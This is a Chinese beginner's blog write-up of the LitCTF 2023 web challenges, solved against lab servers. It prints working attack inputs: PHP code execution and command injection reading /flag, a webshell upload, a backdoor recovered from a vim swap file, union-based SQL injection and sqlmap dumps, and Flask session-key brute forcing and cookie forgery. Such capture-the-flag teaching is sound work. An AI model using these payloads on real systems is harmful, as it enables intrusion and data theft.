LitCTF-2023-web部分

        前言: 不得不说, 这比赛目前是接触下来感觉的最顺心的(虽然参加的比赛也很少...), 原因在于这比赛题目量多, 并且难度很流畅, 对新手真的友好!!(因为我就是新手, 真心能以后再多出来点儿这种比赛)帮助很大的!!!!!

Web

我Flag呢?(初级难度)

查看源代码即可

瞄了一眼发现先这道题是有彩蛋的(彩蛋后面会用到), 我找了半天, 发现在如下图的js文件中

记录一下

LitCTF{First_t0_The_k3y! //第一个彩蛋

看了wp发现也是学到了新东西, 之前对这控制台啥的不太了解(真的菜~)

我们在来回顾一下, 审查代码发现让我们运行如下函数, 做法是将该页面的代码全复制到控制台中的运行框中, 按下回车, 之后在输入指定的运行函数即可

wp说的(对我有用):

当使用元素审查时,切换到控制台可以看到如下提示的.

控制台(Console) 
会输出页面资源报错信息 / js的执行信息 包括不限于 控制台输出信息(console.log("content")) js 调试信息 等。

就当无事发生(初级)

有点蒙, 看了一眼提示让我们搜索"github.io是什么页面?" , 那我们搜索一下看看有什么思路

GitHub.io是GitPage的一种,是一个用于展示项目和项目网站的托管工具。GitHub是一个代码托管云服务网站,主要用于存储和管理项目源代码。GitHub.io提供了一个功能,可以创建个人网站。GitHub.io通过基于Jekyll工具的Github pages来自动构建网站,同时本身又是GitHub的repo,为使用者提供完全的内容控制。GitHub是一个让大家把用Git这种版本管理工具管理的内容集中在一起的社区。

唉,还是没啥思路, 看wp吧:

很明显,该page依赖于GitHub仓库,而我们知道对于公开的仓库,每一次git的提交都会有记录,而题目描述也很好的暗示了这一点,因为页面部署需要一定时间,但是提交操作已经生效,所以代码的修改会被Git Commit记录:

所以我们可以猜测,flag在页面第一次创建的时候被提交过,但是出于保密原因迅速就被删掉并且很快进行了第二次提交,所以页面就被覆盖了。我们无法从页面获得,但是,可以在提交记录中找到:

这找的有点费劲, 第一次接触吧算是, 不晓得在哪里可以看到博客的提交记录, 于是我上github上找了找探姬的github, 进一步搜索看到了博客的提交内容记录.

看了别人的wp,真尴尬, 我们可以在右上角的关于中, 看到中间有超链接转到探姬的github主页..

导弹迷踪(初级)

先说我的做法: 看到游戏先玩几下失败了看到页面有level的显示(题目提示也是通关第六关即可得到flag, 但肯定不会手打!!)于是我们在控制台跟进"level"关键词, 成功找到flag

Follow me and hack me (初级) 

这题可以说是很初级了,按要求get与post传参即可

接下来看到了彩蛋说是"备份文件还有东西", 那我们可以用工具dirsearch扫一下目录看看有什么或者直接凭借经验在url后面添加www.zip下载压缩包即可

记录下来:

<?php
        // 第三个彩蛋!(看过头号玩家么?)
        // _R3ady_Pl4yer_000ne_ (3/?)
    ?>

PHP是世界上最好的语言!!(初级)

说是初级但对我来说有点懵逼-.-, 跟着wp复现吧(没思路)

题目是一个用PHP为后台写的一个意义不明的工具x

题目没有做任何过滤,所以仅考察PHP的基础,一些简单的命令执行函数这样的,看到右边的PHP代码执行框就可以试探性的执行了,关于PHP的基础,目前PHP的基础教程网上也很成熟,读者可自行搜索学习。(但讲实话, 我想不到要往右面的框架上输入命令...)

这里执行system('cat /flag');

Vim yyds(初级)

根据题目提示为信息泄露, 又看到vim编辑器, 翻翻笔记发现如下

Vim缓存

临时文件是在vim编辑文本时就会创建的文件,如果程序正常退出,临时文件自动删除,如果意外退出就会保留,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例 第一次产生的缓存文件名为 .index.php.swp
第二次意外退出后,文件名为.index.php.swo
第三次产生的缓存文件则为 .index.php.swn
注意:index前有 " . "

那我们一次访问一下, 发现访问url/.index.php.swp时,下载了文件, 我们查看发现源码 ,提取重要部分

<?php
$password = "Give_Me_Your_Flag";  
if ($_POST['password'] === base64_encode($password)) {
    echo "<p>Oh You got my password!</p>";
    eval(system($_POST['cmd'])); 
}
?>

那么思路就是我们POST传入的password要与编码后的(那个字符串)内容相等才能执行eval函数

编码后的内容为: R2l2ZV9NZV9Zb3VyX0ZsYWc=

接着如下图传入相应参数发现flag在根目录, cat /flag即可

 

作业管理系统 (中级)

首先是一个用户登录页面, 我们查看源码发现hint, 登陆看看

 

现在我看到这页面想到的就是文件上传漏洞, 应该是搞个一句话木马, 用蚁剑连接什么的

接下来我们先上传一句话木马试试

出乎意料似乎对上传的文件没什么限制, 那我们用hackbar访问我们上传的shell.php, 看看是否确实上传成功

注意:这里上传的文件在本目录的原因是由于前端页面不显示,上传文件后看不到,但是从上传功能区的 " ./ " 可以得知就是在当前目录(官方解释)

如图发现成功上传, 那我们rce一下, 执行1=system('cat /flag');这里过程不再赘述, flag在根目录中

当然这里上传成功后我们也可以选择蚁剑连接, 成功连接后进入内容管理在根目录即可看到flag

这里还有其他解法, 我们参考wp走走

远程下载也有多种解法,当然如果上传有黑名单限制 但是远程下载没有 则可以用远程下载去下载PHP木马文件,然后剩余的步骤和上传木马的操作一样 不多做说明。

输入如下图的内容, 下载后点击编辑文件即可看到flag

解法三:直接编辑读取

如果你没有想到 file:// 协议,但是你在上传文件的时候 使用了编辑功能,不妨观察它的Url:

http://node4.anna.nssctf.cn:28090/index.php?op=edit&fename=uploadFileName&folder=./

由于页面所有的操作只有登录这一个鉴权,所有操作都没用敏感目录的过滤(完全没有过滤),所以这个地方我们直接修改路径为根目录,文件名字为flag ?op=edit&fename=flag&folder=/

彩蛋:访问如下网址

记录一下: _S0_ne3t? (2/?)

 

这是什么?SQL !注一下 !(中级)

提示我们是sql注入, 并且如下图已经告诉我们闭合方式了, 我们直接手工注入或者sqlmap即可

并且题目提示我们只有username, password两列, 不需要group by去判断列数了

爆库名:
1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+
爆表名:(这里直接爆flag所在的了)
1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+
爆列名:
1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+
自此得知flag在ctftraining的flag表中, 那我们联合查询即可
1)))))) union select 1, flag from ctftraining.flag --+

当然也可以用sqlmap跑

sqlmap -u "http://node1.anna.nssctf.cn:28742/?id=1" -D ctftraining -T flag -C flag --dump

 

彩蛋: 输入id=2即可看到 F1rst_to_Th3_eggggggggg!}

Http pro max plus (中级)

这题无从下手, 跟着wp走吧

考点:考点为HTTP Request Header

1.只允许本地访问

题目禁用了 xff (X-Forwarded-For)这里使用的Client-ip去伪造本地访问。

这里说我们不是来自这个网站, 那我们就构造refer头

又让我们用Chrome浏览器,那我们构造ua头

这里又让我们上代理, 构造via

访问该地址

查看源码发现如下

接续访问得到flag

接下来让我们了解一下http头吧, 这上面的我老多都忘了(当然是记我笔记了, 不可能白嫖的)

如果想要了解更多关于http头部的信息可以参考 HTTP 标头(header) - HTTP | MDN

彩蛋 (高级) 

这里汇总一下之前的彩蛋即可:

LitCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}

1zjs(高级) 

首先审查元素发现如下

访问上面的地址看看

继续访问看看

好了, 陷入盲区了,看看wp

很典型的 JSfuck 如果你不了解 你可以去搜索引擎检索JSfuck的相关信息,除了js 还有很多语言有这样的特性,读者可以自行了解。

而JSfuck本质上还是js代码,我们在上面说到,控制台能执行js代码,所以直接在控制台执行即可:得到flag

Flag点击就送!(高级)

这题没思路, 跟wp

考点为 flask session 伪造

密钥为 LitCTF 有点猜谜成分,已经暴打出题人。

进入页面后

那我们输入几个看看 , 输入flag

输入admin

所以到这里大致的方向就是去伪造 admin 的 session。

这里假设 有一个字典 我们尝试用这个字典去爆破正确的密钥: 

pass.txt:
...
LitCTF2023
LitCTF

这里我们使用 flask-unsign

安装方法:

pip3 install flask-unsign[wordlist]

然后指定字典爆破:

跟到目录下输入命令进行爆破,确定秘钥为LitCTF

$ flask-unsign --unsign --cookie "eyJuYW1lIjoiMSJ9.ZF_Bhw.mawKGPKlVL8_XkcZE2bcVHe6pOE" -w .\pass.txt --no-literal-eval
[*] Session decodes to: {'name': '1'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 2 attempts
b'LitCTF'

确定是 LitCTF 为密钥后就可以进行伪造,这里一把梭脚本(感谢./Tao师傅)

以上是wp做法, 我弄不懂, 看了看别人的wp, 直接上github找工具包吧

工具链接: https://github.com/noraj/flask-session-cookie-manager

这里懒了直接下载zip拖进kali, cd到指定目录后输入以下指令

解密: python flask_session_cookie_manager3.py decode -s “LitCTF” -c “eyJuYW1lIjoiamF5In0.ZGCa_w.8Lc4BMfby2EluMdcKhltNqwyZxk”
若成功解密则说明"LitCTF"是正确的key,那我们对"{'name':'admin'}"进行加密即可

加密:
python flask_session_cookie_manager3.py encode -s “LitCTF” -t “{‘name’: ‘admin’}

得到数据后抓包修改cookie发包即可

Ping

依旧没啥思路, 跟着wp

JS禁用

因为前端验证依靠JS脚本,所以直接禁用js脚本就可以执行任意命令了:

payload:

1.1.1.1 || cat /flag
//管道符的作用, 大家可以自行下去查阅, 这里页面本来就是要求我们只能输入ip, 那我们可以用
||: 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

试了几下似乎, ||符号前面什么都可以, 均可以回显flag

这里在介绍一种方法

查看源代码发现前端使用check_ip()函数来校验, 看了看wp, 我们可以将函数体置空

不过没有更细节的教程, 我太菜了不知道如何用

总之,放个官方wp链接

Docs

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值